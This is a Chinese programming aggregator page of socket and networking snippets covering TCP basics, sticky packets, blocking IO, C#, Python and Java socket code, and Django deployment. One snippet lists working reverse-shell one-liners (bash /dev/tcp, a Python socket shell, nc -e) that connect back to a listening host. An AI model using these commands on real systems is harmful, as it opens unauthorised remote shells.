socket

Java Socket技术总结

随声附和 提交于 2020-02-29 08:35:40
1 Socket通信原理 1.1 ISO七层模型 1.2 TCP/IP五层模型 应用层相当于OSI中的会话层,表示层,应用层。 区别参考:http://blog.chinaunix.net/uid-22166872-id-3716751.html 1.3 TCP报文 (1)序号:Seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。 (2)确认序号:Ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,Ack=Seq+1。 (3)标志位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义如下: (A)URG:紧急指针(urgent pointer)有效。 (B)ACK:确认序号有效。 (C)PSH:接收方应该尽快将这个报文交给应用层。 (D)RST:重置连接。 (E)SYN:发起一个新连接。 (F)FIN:释放一个连接。 需要注意的是: (A)不要将确认序号Ack与标志位中的ACK搞混了。 (B)确认方Ack=发起方Req+1,两端配对。 1.4 Socket通信 Socket是应用层与TCP/IP协议族通信的中间软件抽象层,它是一组接口。在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP /IP协议族隐藏在Socket接口后面,对用户来说,一组简单的接口就是全部,让Socket去组织数据

Socket的半包,粘包与分包的问题

杀马特。学长 韩版系。学妹 提交于 2020-02-29 08:05:31
首先看两个概念: 短连接: 连接->传输数据->关闭连接 HTTP是无状态的,浏览器和服务器每进行一次HTTP操作,就建立一次连接,但任务结束就中断连接。 也可以这样说:短连接是指SOCKET连接后发送后接收完数据后马上断开连接。 长连接: 连接->传输数据->保持连接 -> 传输数据-> 。。。 ->关闭连接。 长连接指建立SOCKET连接后不管是否使用都保持连接,但安全性较差。 之所以出现粘包和半包现象,是因为TCP当中,只有流的概念,没有包的概念. 半包 指接受方没有接受到一个完整的包,只接受了部分,这种情况主要是由于TCP为提高传输效率,将一个包分配的足够大,导致接受方并不能一次接受完。( 在长连接和短连接中都会出现 )。 粘包与分包 指发送方发送的若干包数据到接收方接收时粘成一包,从接收缓冲区看,后一包数据的头紧接着前一包数据的尾。出现粘包现象的原因是多方面的,它既可能由发送方造成,也可能由接收方造成。发送方引起的粘包是由TCP协议本身造成的,TCP为提高传输效率,发送方往往要收集到足够多的数据后才发送一包数据。若连续几次发送的数据都很少,通常TCP会根据优化算法把这些数据合成一包后一次发送出去,这样接收方就收到了粘包数据。接收方引起的粘包是由于接收方用户进程不及时接收数据,从而导致粘包现象。这是因为接收方先把收到的数据放在系统接收缓冲区,用户进程从该缓冲区取数据

6月10号

南楼画角 提交于 2020-02-29 03:47:27
阻塞io(blocking IO) 当我们用套接字通讯时套接字对象调用revform方法 系统内核就开始了network io 的第一个阶段 wair for data 这是系统内核就等待足够的数据到来 而用户整个进程就会被阻塞 当系统内核等到了数据 它就会将数据从缓存中拷贝到 用户进程的内存中 然后系统返回结果给recv 用户进程接受到数据 解除阻塞状态 进入就绪态 重新运行起来 所以在 wait for data 和copy data 用户进程都属于阻塞的状态 简单的解决办法就是让服务器端使用多线程或者多进程,目的是为了让每一个接口都有用一个独立的线程或进程 这样任何一个连接有网络io都 不会影响其他线程或进程的运行 它阻塞它的 我运行我的 但是 开启多线程或多进程 在遇到同时要想相应巨大连接请求的时候 都会严重占据系统资源 降低服务器对外界的响应速度 所以开启多进程或 多线程并不能完全解决网络阻塞io这个问题 当然 我们会想到你无线开线程和进程系统会扛不住 我们可以限制线程和进程的同步开启 可以用线程池或进程池 来维持一定合理数量的线程或 进程 并让空闲的线程重新承担新的执行任务 规定只能同时开线程池里面规定数量的线程 减少创建和关闭连接的频率 降低系统的开销 但是这样也并非完美 线程池和进程池 能一定程度上缓解 系统的开销 但是如果用户数量大大超出 线程池始终有自己的上线

socket异步通信

感情迁移 提交于 2020-02-29 02:02:19
client: using System; using System.Net; using System.Text; using System.Net.Sockets; namespace GameClient { class Program { static void Main(string[] args) { //連接 Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); clientSocket.Connect(IPAddress.Parse("192.168.1.104"), 4444); //接受服務器連接消息 byte[] data = new byte[1024]; int count = clientSocket.Receive(data); string msg = Encoding.UTF8.GetString(data, 0, count); Console.WriteLine(msg); //while (true) //{ // string s = Console.ReadLine(); // if (s == "c") // { // clientSocket.Close(); // break; // } /

Python----网络编程----UDP

a 夏天 提交于 2020-02-28 23:48:52
Python学习之路,点击有全套Python笔记 1、什么是socket socket(简称 套接字) 是进程间通信的一种方式,它与其他进程间通信的一个主要不同是:它能实现不同主机间的进程间通信,我们网络上各种各样的服务大多都是基于Socket 来完成通信的 例如我们每天浏览网页、QQ 聊天、收发 email 等等 它是全双工 2、什么是UDP 用户数据报协议 UDP(User Datagram Protocol)是无连接的,尽最大可能交付,没有拥塞控制,面向报文(对于应用程序传下来的报文不合并也不拆分,只是添加 UDP 首部),支持一对一、一对多、多对一和多对多的交互通信。 创建模板: import socket socket . socket ( AddressFamily , Type ) Address Family:可以选择 AF_INET(用于 Internet 进程间通信) 或者 AF_UNIX(用于同一台机器进程间通信),实际工作中常用AF_INET Type:套接字类型,可以是 SOCK_STREAM(流式套接字,主要用于 TCP 协议)或者 SOCK_DGRAM(数据报套接字,主要用于 UDP 协议) 发送示例 import socket def main ( ) : # 创建tcp的套接字 udp_socket = socket . socket (

项目发布须知

淺唱寂寞╮ 提交于 2020-02-28 22:50:31
1,项目发布更换不同的服务器,解决依赖关系的问题 pip3 frezz > requirements.py pip3 install -r requirements.py 2,准备python环境,准备虚拟环境,.激活虚拟环境 mkvirtualenv xuexue 检测是否虚拟环境正常 which pip3 which python3 3,在虚拟环境中安装django模块(此时的操作都是在xuexue这个虚拟环境中) pip3 install django==1.11.11 4,安装pymysql连接mysql的数据库 pip3 install pymysql 5,安装django的一个django-multiselectfield pip3 install django-multiselectfield 6,解决数据库连接问题,修改项目中settings.py文件 启动linux的数据库,创建对应的数据库,密码设置等等 create database nb_crm 更改settings.py文件的相关设置 DATABASES= {'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'nb_crm', #数据库名 'HOST': '127.0.0.1', #这里服务器的ip地址 'PORT': 3306, #端口

Asio的Buffer应该如何使用

给你一囗甜甜゛ 提交于 2020-02-28 21:18:13
Asio的Buffer应该如何使用 文章目录 Asio的Buffer应该如何使用 什么是asio::buffer asio::const_buffer和asio::mutable_buffer asio::buffer使用方法 例子 什么是asio::buffer asio::buffer并不是真正的缓冲区,想要获得缓冲区必须传入一段内存,比如st::vector<>,char[],std::string等。而asio::buffer负责管理这段内存,特别注意对于异步API内存在使用时必须有效。 asio::const_buffer和asio::mutable_buffer 构造函数不同 const_buffer不可修改,初始化是什么使用socket发送时就会发送什么,比如使用st::vector初始化,虽然vector的内容可以修改,但是对asio::buffer来说不起作用 asio::buffer使用方法 简单的方法就是在session类里申请一片内存(或全局内存),发送时使用asio::buffer包装 BufferSequence 使用内存池 例子 在session类里申请一片内存 class session : public std : : enable_shared_from_this < session > { public : session ( tcp : :

liunx常用反弹

寵の児 提交于 2020-02-28 19:53:59
先在服务器监听: nc -lvvp 12345 然后在目标机器执行以下 liunx 客户端机器: bash -i >& /dev/tcp/ip/端口 0>&1 例: bash -i >& /dev/tcp/120.120.120.120/12345 0>&1 python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("100.100.100.100",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' nc nc -e cmd.exe 100.100.100.100 12345 (Windows) nc -e /bin/bash 100.100.100.100 12345 (Linux) 来源: https://www.cnblogs.com/kuyeokuye/p/12378446.html

JavaDay11

时光总嘲笑我的痴心妄想 提交于 2020-02-28 17:37:26
Java learning_Day11 本人学习视频用的是马士兵的,也在这里献上 <链接: https://pan.baidu.com/s/1qKNGJNh0GgvlJnitTJGqgA > 提取码:fobs 内容 网络基础 网络通信协议及接口 IP 协议 TCP 协议 和 UDP 协议 Socket 网络基础 什么是计算机网络:把分布在不同地理区域的计算机与专门的外部设备用通信线路互连成一个规模大、功能强的网络系统,从而是众多的计算机可以方便地互相传递信息,共享硬件、软件、数据信息等资源。 计算机网络的主要功能 资源共享 信息传输与集中处理 均衡负荷与分布处理 综合信息服务(www/综合业务数字网络 ISDN) 网络通信协议及接口 什么是网络通信协议:计算机网络中实现通信必须有一些约定即通信协议,对速率、传输代码、代码结构、传输控制步骤、出错控制等制定标准。 网络通信接口:为了使两个结点之间能进行对话,必须在它们之间建立通信工具(即接口),使彼此之间能进行信息交换。接口包括两部分: 硬件装置:实现结点之间的信息传送 软件装置:规定双方进行通信的约定协议 通信协议分层的思想 为什么要分层 由于结点之间联系很复杂,在制定协议时,把复杂成分分解成一些简单的成分,再将它们复合起来。最常用的复合方式是层次关系,即同层之间可以通信、上一层可以调用下一层,而与再下一层不发生关系。各层互不影响

Java网络编程之tcp的socket通信

孤人 提交于 2020-02-28 14:13:19
1、客户端MyClient.java 1 import java.io.*; 2 import java.net.*; 3 4 public class MyClient 5 { 6 public static void main(String[] args)throws Exception 7 { 8 Socket s = new Socket("192.168.1.1" , 30000); 9 // 客户端启动ClientThread线程不断读取来自服务器的数据 10 new Thread(new ClientThread(s)).start();11 // 获取该Socket对应的输出流 12 PrintStream ps = new PrintStream(s.getOutputStream()); 13 String line = null; 14 // 不断读取键盘输入 15 BufferedReader br = new BufferedReader( 16 new InputStreamReader(System.in)); 17 while ((line = br.readLine()) != null) 18 { 19 // 将用户的键盘输入内容写入Socket对应的输出流 20 ps.println(line); 21 } 22 } 23 } 2、加入多线程